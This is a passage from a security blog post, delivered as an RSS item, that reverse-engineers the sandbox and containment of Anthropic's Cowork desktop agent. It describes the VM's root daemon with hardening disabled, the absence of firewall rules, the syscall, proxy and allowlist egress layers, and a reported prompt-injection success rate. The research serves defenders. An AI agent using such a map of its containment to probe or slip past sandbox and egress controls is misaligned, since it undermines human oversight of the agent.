<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Pluto Security]]></title><description><![CDATA[Enabling business users to innovate securely.]]></description><link>https://blog.pluto.security</link><image><url>https://substackcdn.com/image/fetch/$s_!9kOx!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F195a4951-724f-4367-bef4-2660ebf89765_700x700.jpeg</url><title>Pluto Security</title><link>https://blog.pluto.security</link></image><generator>Substack</generator><lastBuildDate>Sun, 12 Apr 2026 19:02:17 GMT</lastBuildDate><atom:link href="https://blog.pluto.security/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Pluto Security]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[plutosecurity@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[plutosecurity@substack.com]]></itunes:email><itunes:name><![CDATA[Pluto Security]]></itunes:name></itunes:owner><itunes:author><![CDATA[Pluto Security]]></itunes:author><googleplay:owner><![CDATA[plutosecurity@substack.com]]></googleplay:owner><googleplay:email><![CDATA[plutosecurity@substack.com]]></googleplay:email><googleplay:author><![CDATA[Pluto Security]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Inside Claude Cowork: How Anthropic's Autonomous Agent Actually Works]]></title><description><![CDATA[We reverse-engineered the security architecture of Claude's autonomous desktop agent. Here's what we found.]]></description><link>https://blog.pluto.security/p/inside-claude-cowork-how-anthropics</link><guid isPermaLink="false">https://blog.pluto.security/p/inside-claude-cowork-how-anthropics</guid><dc:creator><![CDATA[Yotam Perkal]]></dc:creator><pubDate>Wed, 01 Apr 2026 08:21:31 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Z85l!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Z85l!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Z85l!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png 424w, https://substackcdn.com/image/fetch/$s_!Z85l!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png 848w, https://substackcdn.com/image/fetch/$s_!Z85l!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png 1272w, https://substackcdn.com/image/fetch/$s_!Z85l!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Z85l!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png" width="891" height="572" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:572,&quot;width&quot;:891,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:604362,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192583580?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21d9c869-05df-4264-b00f-00b63feac081_1024x572.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Z85l!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png 424w, https://substackcdn.com/image/fetch/$s_!Z85l!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png 848w, https://substackcdn.com/image/fetch/$s_!Z85l!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png 1272w, https://substackcdn.com/image/fetch/$s_!Z85l!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffd6de9b3-f2d8-4311-ba88-9a6c2bfbdb60_891x572.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Computer use agents represent a new class of AI capability: systems that can see your screen, control your browser, read your files, and operate your desktop while you&#8217;re away. Claude Desktop&#8217;s Cowork - along with features like Dispatch and Computer Use - is among the most architecturally complex implementations in this category, combining a sandboxed VM, direct Chrome browser control, file system access, and remote phone dispatch into a single integrated product.</p><p>With this level of integration comes a fundamental tension: <strong>the more capable and autonomous you make an AI agent, the larger its attack surface becomes.</strong> An agent that can only answer questions is relatively safe. An agent that can browse the web, read your files, control your desktop, and operate from your phone? That&#8217;s a fundamentally different threat model.</p><blockquote><h3><em><strong>What We Found</strong></em></h3><p><em>We reverse-engineered Cowork&#8217;s architecture by analyzing log files, extracting  and statically analyzing the Electron app source, mounting the VM disk image, and tracing session lifecycles. During this research, we also identified several security issues that are currently in the process of coordinated disclosure with Anthropic and are outside the scope of this post. Here are some of the more notable discoveries - <strong>each links to the full analysis later in the post</strong>:</em></p><ul><li><p><em><strong>The VM daemon runs as root with security hardening disabled</strong> - </em><code>NoNewPrivileges=no</code><em>, </em><code>ProtectSystem=false</code><em>. The security boundary is the VM itself, not anything inside it. (<a href="https://blog.pluto.security/i/192583580/the-vm-a-linux-sandbox-on-your-mac">The VM</a>)</em></p></li><li><p><em><strong>The VM has no firewall rules</strong> - </em><code>nftables</code><em> chains are empty with default ACCEPT policies. Network security is handled entirely by layers above. (<a href="https://blog.pluto.security/i/192583580/network-security-three-layers-of-egress-control">Network Security</a>)</em></p></li><li><p><em><strong>Chrome browser control runs outside the VM sandbox</strong> - The agent browses the web through your real Chrome browser on the host, with your real cookies and sessions. This is <a href="https://support.claude.com/en/articles/14128542-let-claude-use-your-computer-in-cowork">by design</a> and disclosed by Anthropic. (<a href="https://blog.pluto.security/i/192583580/chrome-mcp-browser-control-from-outside-the-vm">Chrome MCP</a>)</em></p></li><li><p><em><strong>174 feature flags control Cowork&#8217;s behavior remotely</strong> - Anthropic can flip capabilities server-side without a client update. We found flags for destructive command warnings, a communication channel blocklist, and a mysterious &#8220;sparkle-hedgehog&#8221; that&#8217;s checked hourly but never enabled. (<a href="https://blog.pluto.security/i/192583580/the-permission-system">Permissions</a>, <a href="https://blog.pluto.security/i/192583580/codenames-decoded">Codenames</a>)</em></p></li><li><p><em><strong>Child agent transcripts survive session deletion</strong> - Screenshots are cleaned up, but child audit.jsonl files (3.5MB in our tests) persisted on disk with complete tool call histories in world-readable files. (<a href="https://blog.pluto.security/i/192583580/the-logs-a-forensic-goldmine">The Logs</a>)</em></p></li><li><p><em><strong>Dispatch logs don&#8217;t distinguish phone from desktop</strong> - No device metadata, user-agent, or client_type field. The system can&#8217;t tell who sent a command. (<a href="https://blog.pluto.security/i/192583580/dispatch-your-phone-controls-your-desktop">Dispatch</a>)</em></p></li><li><p><em>Anthropic reports an approximate <strong>1% prompt injection success rate</strong> against their internal testing - 99% of attacks are blocked, but the <strong>risk is managed, not eliminated</strong></em></p></li><li><p><em>Before adopting Cowork, we highly recommend reviewing Anthropic&#8217;s safety guides: <a href="https://support.claude.com/en/articles/13364135-use-cowork-safely">Use Cowork Safely</a>, <a href="https://support.claude.com/en/articles/12902428-using-claude-in-chrome-safely">Using Claude in Chrome Safely</a>, <a href="https://support.claude.com/en/articles/14128542-let-claude-use-your-computer-in-cowork">Computer Use in Cowork</a></em></p></li></ul></blockquote><p>This post documents the architecture as we observed it. Our goal is to provide this research to anyone wanting to understand how these systems work, what risks are involved, and how to better manage those risks.</p><div><hr></div><h2><strong>The Computer Use Agent Landscape</strong></h2><p>Computer use agents - AI systems that can see and control a desktop environment - are an emerging category distinct from AI-powered code builders (Cursor, Windsurf) or AI-enhanced browsers (Perplexity, Arc). Computer use agents aim to operate the full desktop: launching applications, filling forms, navigating websites, managing files.</p><p>The field is still young but moving fast. Google&#8217;s <a href="https://deepmind.google/models/project-mariner/">Project Mariner</a> targets browser automation. OpenAI&#8217;s <a href="https://openai.com/index/introducing-operator/">Operator</a> provides web-based task completion. <a href="https://copilot.microsoft.com/labs/experiments/copilot-actions">Microsoft&#8217;s Copilot Actions</a> integrates with the Windows ecosystem. <a href="https://www.perplexity.ai/computer/">Perplexity Computer</a> brings AI-driven desktop control to the Perplexity ecosystem. <a href="https://openclaw.ai/">OpenClaw</a> pushes toward highly autonomous computer operation. These are just a few examples - the category is expanding rapidly. Claude Desktop&#8217;s <a href="https://claude.com/product/cowork">Cowork</a> is notable for its depth of integration: a sandboxed VM for agent execution, direct Chrome browser control via MCP, file system access through VirtIO mounts, and remote dispatch from mobile devices.</p><p>Security research on computer use agents remains limited. This work aims to help bridge that gap - providing a detailed look at how these systems are architected, what capabilities they offer, and what security risks they introduce.</p><h2><strong>Cowork&#8217;s Three Pillars</strong></h2><p>Claude Desktop&#8217;s autonomous capabilities consist of three interconnected systems, each with its own internal codename (more on those later):</p><p><strong>Cowork</strong> is the persistent AI agent. It runs inside a Linux virtual machine on your Mac, isolated from the host operating system. The VM provides a sandboxed environment where the agent can execute code, process files, and run tools without direct access to your system.</p><p><strong>Dispatch</strong> is the remote control layer. It enables you to send tasks from your phone (via the Claude iOS or Android app) to the agent running on your desktop. Your message routes through Anthropic&#8217;s servers to a local &#8220;sessions bridge&#8221; component, which spawns the appropriate agent session to handle the task. The agent works autonomously and reports results back to your phone.</p><p><strong>Computer Use</strong> gives the agent eyes and hands on the host machine. It can take screenshots, move the mouse, type on the keyboard, and control the Chrome browser through dedicated MCP (Model Context Protocol) tools. Critically, Computer Use runs on the host, not in the VM. Anthropic is explicit about this: &#8220;Computer use runs outside the virtual machine that Cowork normally uses for working on your files and running commands. This means Claude is interacting with your actual desktop and apps, rather than an isolated sandbox.&#8221;</p><p>The UI also makes sure to warn about the potential risks: </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GTJa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GTJa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png 424w, https://substackcdn.com/image/fetch/$s_!GTJa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png 848w, https://substackcdn.com/image/fetch/$s_!GTJa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png 1272w, https://substackcdn.com/image/fetch/$s_!GTJa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GTJa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png" width="998" height="1146" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1146,&quot;width&quot;:998,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:209446,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192583580?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!GTJa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png 424w, https://substackcdn.com/image/fetch/$s_!GTJa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png 848w, https://substackcdn.com/image/fetch/$s_!GTJa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png 1272w, https://substackcdn.com/image/fetch/$s_!GTJa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F02e01c8a-731d-4caf-a511-1566983a003c_998x1146.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>These three systems work together: you <strong>dispatch</strong> a task from your phone, the <strong>Cowork</strong> <strong>agent</strong> receives it in the VM, and when it needs to interact with the desktop or browse the web, it reaches out through <strong>Computer Use</strong> tools that operate on the host.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pHgk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pHgk!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png 424w, https://substackcdn.com/image/fetch/$s_!pHgk!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png 848w, https://substackcdn.com/image/fetch/$s_!pHgk!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png 1272w, https://substackcdn.com/image/fetch/$s_!pHgk!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pHgk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png" width="1456" height="817" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:817,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:236450,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192583580?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pHgk!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png 424w, https://substackcdn.com/image/fetch/$s_!pHgk!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png 848w, https://substackcdn.com/image/fetch/$s_!pHgk!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png 1272w, https://substackcdn.com/image/fetch/$s_!pHgk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff90b70dc-5bf4-4bec-acc7-21fdf24e7ddc_1880x1055.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2><strong>The VM: A Linux Sandbox on Your Mac</strong></h2><p><em><strong>The sandbox runs Ubuntu 22.04 with a root-privileged daemon, no firewall rules, and no custom AppArmor profiles. The VM boundary is doing all the heavy lifting.</strong></em></p><p>The Cowork agent runs inside a Linux virtual machine managed by Apple&#8217;s Virtualization.framework. Here&#8217;s what we found by analyzing the VM disk image and log files:</p><p><strong>Operating System:</strong> Ubuntu 22.04.5 LTS, with a 10GB root filesystem image (<code>rootfs.img</code>) stored at <code>~/Library/Application Support/Claude/vm_bundles/claudevm.bundle/</code>.</p><p><strong>Resources:</strong> 4 CPU cores, 4GB RAM (source: <code>cowork_vm_swift.log</code> - VM configuration parameters logged at each boot).</p><p><strong>Network Stack:</strong> The VM uses gVisor, Google&#8217;s userspace application kernel, for network virtualization. gVisor provides fine-grained control over system calls, including the ability to block specific syscalls like <code>socket()</code> at the kernel level.</p><p><strong>Session Isolation:</strong> Each Cowork session gets a dedicated user account with a Docker-style random name (like <code>awesome-wizardly-volta</code> or <code>serene-vibrant-newton</code>). These are visible in the VM&#8217;s /<code>etc/passwd</code> file. The session disk is formatted fresh with ext4 on each VM boot - nothing persists from previous sessions on the ephemeral storage (source: <code>coworkd.log</code> - &#8220;formatting session disk with ext4&#8221;).</p><p><strong>The Daemon:</strong> The core service inside the VM is <code>coworkd</code> (internally renamed <code>sdk-daemon</code>). Examining the <code>systemd</code> service configuration from the rootfs image reveals it runs as root with security hardening explicitly disabled:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;4b098ffd-648e-40a3-98bd-af8ce0ed96ed&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext"># From rootfs.img:/etc/systemd/system/coworkd.service
User=root
Group=root
NoNewPrivileges=no
ProtectSystem=false
ProtectHome=false
PrivateTmp=false</code></pre></div><p>This means the daemon and any processes it spawns have full privileges within the VM. The security boundary is the VM itself, not process-level isolation within it.</p><p><strong>Firewall:</strong> The VM&#8217;s nftables configuration (from <code>rootfs.img:/etc/nftables.conf</code>) contains empty chains with default ACCEPT policies:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;json&quot;,&quot;nodeId&quot;:&quot;338e53c6-6e76-445a-88c7-ff4324397226&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-json">flush ruleset
table inet filter {
    chain input { type filter hook input priority 0; }
    chain forward { type filter hook forward priority 0; }
    chain output { type filter hook output priority 0; }
}</code></pre></div><p>There are no firewall rules restricting network traffic within the VM. Network security is handled at layers above this.</p><p><strong>AppArmor:</strong> While the kernel boot logs mention AppArmor, the <code>/etc/apparmor.d/</code> directory on the rootfs contains only stock Ubuntu profiles (dhclient, rsyslogd, etc.). There are no custom AppArmor profiles for <code>coworkd</code>, <code>sandbox-helper</code>, or the Claude Code binary.</p><p><strong>sandbox-helper:</strong> Alongside <code>coworkd</code>, there&#8217;s a <code>sandbox-helper</code> binary (2.1MB) that gets updated on each VM boot. The <code>coworkd.log</code> shows frequent hash changes across boots (e.g., <code>sandbox-helper update detected (old=7f74b13e... new=d1b7c599...)</code>), indicating active development. Its exact behavior could not be determined from our analysis - it likely provides additional sandboxing or process-level restrictions, but this remains an area that would benefit from further investigation.</p><div><hr></div><h2><strong>Network Security: Three Layers of Egress Control</strong></h2><p><em><strong>Anthropic built three independent layers to prevent unauthorized network access from the VM - blocked syscalls, a MITM proxy with an ephemeral CA, and a domain allowlist.</strong></em></p><p>One of the most thoughtful aspects of Cowork&#8217;s architecture is its approach to network security. Anthropic implemented three distinct layers to control what network requests the agent can make:</p><h3><strong>Layer 1: VM Syscall Restrictions</strong></h3><p>At the lowest level, gVisor blocks the <code>socket()</code> system call for processes inside the VM. We confirmed this by dispatching commands through the Cowork agent:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;shell&quot;,&quot;nodeId&quot;:&quot;243522bd-831c-4d15-981d-95f5b16c9009&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-shell">$ dig example.com
;; connection timed out; no servers could be reached
socket(): Operation not permitted</code></pre></div><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;shell&quot;,&quot;nodeId&quot;:&quot;243522bd-831c-4d15-981d-95f5b16c9009&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-shell">$ curl https://httpbin.org/get
curl: (56) Send failure: Connection reset by peer</code></pre></div><p>The agent cannot open a network socket from the VM. DNS resolution, HTTP requests, raw TCP connections - all blocked at the syscall level. This is a robust foundation because it doesn&#8217;t rely on filtering specific protocols or ports; the fundamental networking primitive is disabled.</p><h3><strong>Layer 2: MITM Proxy</strong></h3><p>For legitimate outbound HTTPS traffic (like API calls), the VM routes through a Man-in-the-Middle proxy running on the host. From <code>coworkd.log</code>, we can see that each VM boot generates a fresh ephemeral CA certificate:</p><ul><li><p>Private key is kept in memory only - never written to disk</p></li><li><p>The CA is installed into the VM&#8217;s system trust store</p></li><li><p>All HTTPS traffic from the VM passes through a Unix socket at <code>/var/run/mitm-proxy.sock</code></p></li></ul><p>This means Anthropic can inspect and filter all HTTPS traffic from the agent. The ephemeral CA design is good security practice - it limits the window of exposure if the certificate were ever compromised.</p><h3><strong>Layer 3: Host-Side Egress Proxy with Domain Allowlist</strong></h3><p>The outermost layer is a host-side egress proxy that filters outbound 